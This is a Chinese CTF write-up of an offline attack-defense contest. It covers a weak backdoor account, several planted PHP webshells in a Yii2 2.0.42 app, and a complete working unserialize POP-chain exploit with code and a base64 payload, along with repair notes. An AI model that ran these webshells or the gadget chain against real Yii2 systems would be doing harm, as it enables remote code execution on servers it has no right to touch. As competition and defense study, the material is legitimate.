长安杯线下AWD

长安杯线下AWD

记录一下第一次线下AWD比赛是如何被人日穿靶机拿下倒数第一的好成绩经历。

环境配置

用户

本次提供的用户为:

ctf : 随机生成密码

本来以为是个随机密码就不用担心其他队伍通过ssh登上我们的靶机,然而经验不足的我们还是太天真了,靶机里面还存在另外一个用户,而且还是个与用户名一样的弱密码:

cloversec  : cloversec 

其实如果一开始登陆FTP的时候能够返回上一层 /user 目录 的话应该是能够发现还存在另外一个用户的文件夹的,可是我们都好像直接点到根目录目录下了,直到其他队伍以 cloversec 用户登上了我们的靶机,而且写了个脚本一直把网站目录下的内容删除干净并写上自己的马的时候,我们才通过ps aux命令发现还有另外一个用户,并且我们的 ctf 用户还没有权限结束掉 cloversec 用户所运行的进程,导致直接宕机了很长时间。

Web服务

虽然这次的网站源码是放在/var/www/html/ 目录下,而且其他用户也拥有写的权限。但是 Web 服务不是运行在 Apache 下的,而是直接用PHP的命令直接启动的,就像 Python 的命令行直接起服务那样,因此当我们的 /var/www/html/ 目录下已经被删干净而且无法把备份的源码写入到该目录下的时候我们只好把源码放到了 /tmp 目录下再启动服务。

/usr/local/php/bin/php -S 0.0.0.0:8888 -t /tmp/aurora/var/www/html/basic/web

值得一提的是,由于 Web 服务是直接由 ctf 用户用 PHP 命令起的,因此 Web 用户就是 ctf ,所以写的 Webshell 是有 Web 目录下文件的写权限的。

前置知识

这次靶机上的 web 服务是 yii2 框架,该框架也是个MVC 模型的框架,用户请求的方式为从 Controller 出发,然后送到 Model 对应的方法进行数据处理, Controller 将Model 处理完返回的数据送到到 View 中生成 HTML 页面内容,最后再由 Controller 将 View 中返回的内容输出。

example:

当用户访问如下URL的时候

http://hostname/index.php?r=site/say

其中 r 参数代表路由,是整个应用级的,指向特定操作的独立 ID。路由格式是 控制器 ID/操作 ID。应用接受请求的时候会检查参数,使用控制器 ID 去确定哪个控制器应该被用来处理请求。然后相应控制器将使用操作 ID 去确定哪个操作方法将被用来做具体工作。上述例子中,路由 site/say 将被解析至 SiteController 控制器和其中的 say 操作。因此 SiteController::actionSay() 方法将被调用处理请求。

漏洞利用与修复

这次的靶机 yii2 框架的v2.0.42版本,且大部分主办方设置的后门都是比较明显的 Webshell ,以及2个反序列化入口,由于当时我们比赛没有上网环境,因此在规定的3个小时内找到POP链几乎是不可能的。

漏洞一

目录:/basic/web/test.php

<?php
    class evals{
        protected $str;

        function __construct($p){
            $this->str = $p;
            eval("\$a=1;".$this->str);
        }
    }

    $a = new evals($_POST['c']);
?>

简单的webshell,利用方式:

image-20211015104540676

漏洞二

目录:/basic/web/…/.test.php

<?php if($_GET["pass"]=="cloversec"){@eval($_POST[    a]);} ?>

简单的带密码webshell,利用方式:

image-20211015104900922

漏洞三

目录:/basic/view/hello.php

<?php
$a = "sys";
$c = "tem";
$x = $a.$c;
if (isset($_POST['c'])){
    $x($_POST['c']);
}
?>

经过拼接混淆的webshell,利用方式:

image-20211015111703855

漏洞四

目录:/basic/view/about.php

<?php 
if(isset($_POST['test'])){
    system($_POST['test']);
}
?>

简单的webshell,利用方式:

image-20211015112740964

漏洞五

目录:/basic/controllers/SiteController.php

 public function actionCommand($s){
        return eval($s);
    }

简单的webshell,利用方式:

image-20211015113358356

漏洞六

目录:/basic/controllers/SiteController.php

public function actionCommand($s){
return eval($s);
}
public function actionGetform(){
$name = Yii::$app->request->post('a');
return $name;
}
public function actionShell(){
return $this->actionCommand($this->actionGetform());
}

三个方法配合起来的webshell,利用方式:

image-20211015113832627

漏洞七

目录:/basic/controllers/SiteController.php

public function actionTest(){
        $name = Yii::$app->request->post('x');
        return unserialize(base64_decode($name));
}

这个是反序列化链,利用方法:

  • vendor\codeception\codeception\ext\RunProcess.php

其他类里面会加上 __wakeup() 来禁止反序列化,而唯有这个类没有加上。

public function __destruct()
{
    $this->stopProcess();
}

public function stopProcess()
{
    foreach (array_reverse($this->processes) as $process) {
        /** @var $process Process  **/
        if (!$process->isRunning()) {
            continue;
        }
        $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
        $process->stop();
    }
    $this->processes = [];
}

对象在销毁的时候,触发__destruct()方法,__destruct()方法调用了stopProcess()方法,stopProcess()方法中的$this->processes可控,即$process也可控,$process会调用isRunning()方法,那么这里就可以尝试利用__call()方法了。

  • vendor\fakerphp\faker\src\Faker\ValidGenerator.php
public function __call($name, $arguments)
{
    $i = 0;

    do {
        $res = call_user_func_array([$this->generator, $name], $arguments);
        ++$i;

        if ($i > $this->maxRetries) {
            throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
        }
    } while (!call_user_func($this->validator, $res));

    return $res;
}

当对象调用一个不可调用的方法的时候就会触发 __call() 方法,这里 __call() 方法用 do,while 执行了call_user_func_array()call_user_func_()函数,而且 $this->generator$this->validator 属性都可控,因此我们只需要 $res可控的话就能够执行任意命令了,我们再找一个__call() 方法去给 $res 赋值。

  • vendor\fakerphp\faker\src\Faker\DefaultGenerator.php
public function __call($method, $attributes)
{
return $this->default;
}

这个类的$this->default属性完全可控,那也就意味着$res可控。这样一条完整的POP链就完成了,也不算复杂吧,但是还是需要一点水平的。

构造EXP:

首先用到的第一个类是 RunProcess ,命名空间是在 Codeception\Extension 中,且$this->processes 属性可控,内容需要放一个 ValidGenerator 对象,ValidGenerator 对象的构造参数也需要控制

namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
    private $processes = [];
    function __construct($command,$argv)
    {
        $this->processes[] = new ValidGenerator($command,$argv);
    }
}

第二个则是 ValidGenerator ,DefaultGenerator 类,该类的命名空间处于Faker中,且其中的三个属性都需要控制,$this->generator 需要DefaultGenerator类的对象,DefaultGenerator对象的构造参数为要执行的命令

namespace Faker;
class DefaultGenerator{
    protected $default ;
    function __construct($argv)
    {
        $this->default = $argv;
    }
}

class ValidGenerator{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    function __construct($command,$argv)
    {
        $this->generator = new DefaultGenerator($argv);
        $this->validator = $command;
        $this->maxRetries = 99999999;
    }
}

最终EXP:

<?php

namespace Faker;
class DefaultGenerator{
    protected $default ;
    function __construct($argv)
    {
        $this->default = $argv;
    }
}

class ValidGenerator{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    function __construct($command,$argv)
    {
        $this->generator = new DefaultGenerator($argv);
        $this->validator = $command;
        $this->maxRetries = 99999999;
    }
}


namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
    private $processes = [];
    function __construct($command,$argv)
    {
        $this->processes[] = new ValidGenerator($command,$argv);
    }
}

$exp = new RunProcess('system','whoami');
echo(base64_encode(serialize($exp)));

//TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6Njoid2hvYW1pIjt9czoxMjoiACoAdmFsaWRhdG9yIjtzOjY6InN5c3RlbSI7czoxMzoiACoAbWF4UmV0cmllcyI7aTo5OTk5OTk5OTt9fX0=
image-20211015153614082

漏洞八

目录:/basic/controllers/TestController.php

<?php
//This is the entry of AWD game,do not delete or edit this file,otherwise your gamebox will be check down!!!
namespace app\controllers;

use Yii;
use yii\web\Controller;

class TestController extends Controller
{
    public $enableCsrfValidation=false;

    public function actionTest(){

        $name = Yii::$app->request->post('x');
        return unserialize(base64_decode($name));
    }
}

这里也同样是反序列化,利用方法同上:

image-20211015154111154

值得一提的是这里主办方在控制器的文件里面写了注释说不能修改该控制器的文件,因此这里不能直接注释掉反序列化的入口,因此修复的方法可以像 Yii 官方那样直接在所利用的类里面加上__wakeup()方法禁止掉反序列化即可。

参考资料

Yii2 反序列化远程代码执行 POP链

Yii2.0.42反序列化分析(一)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇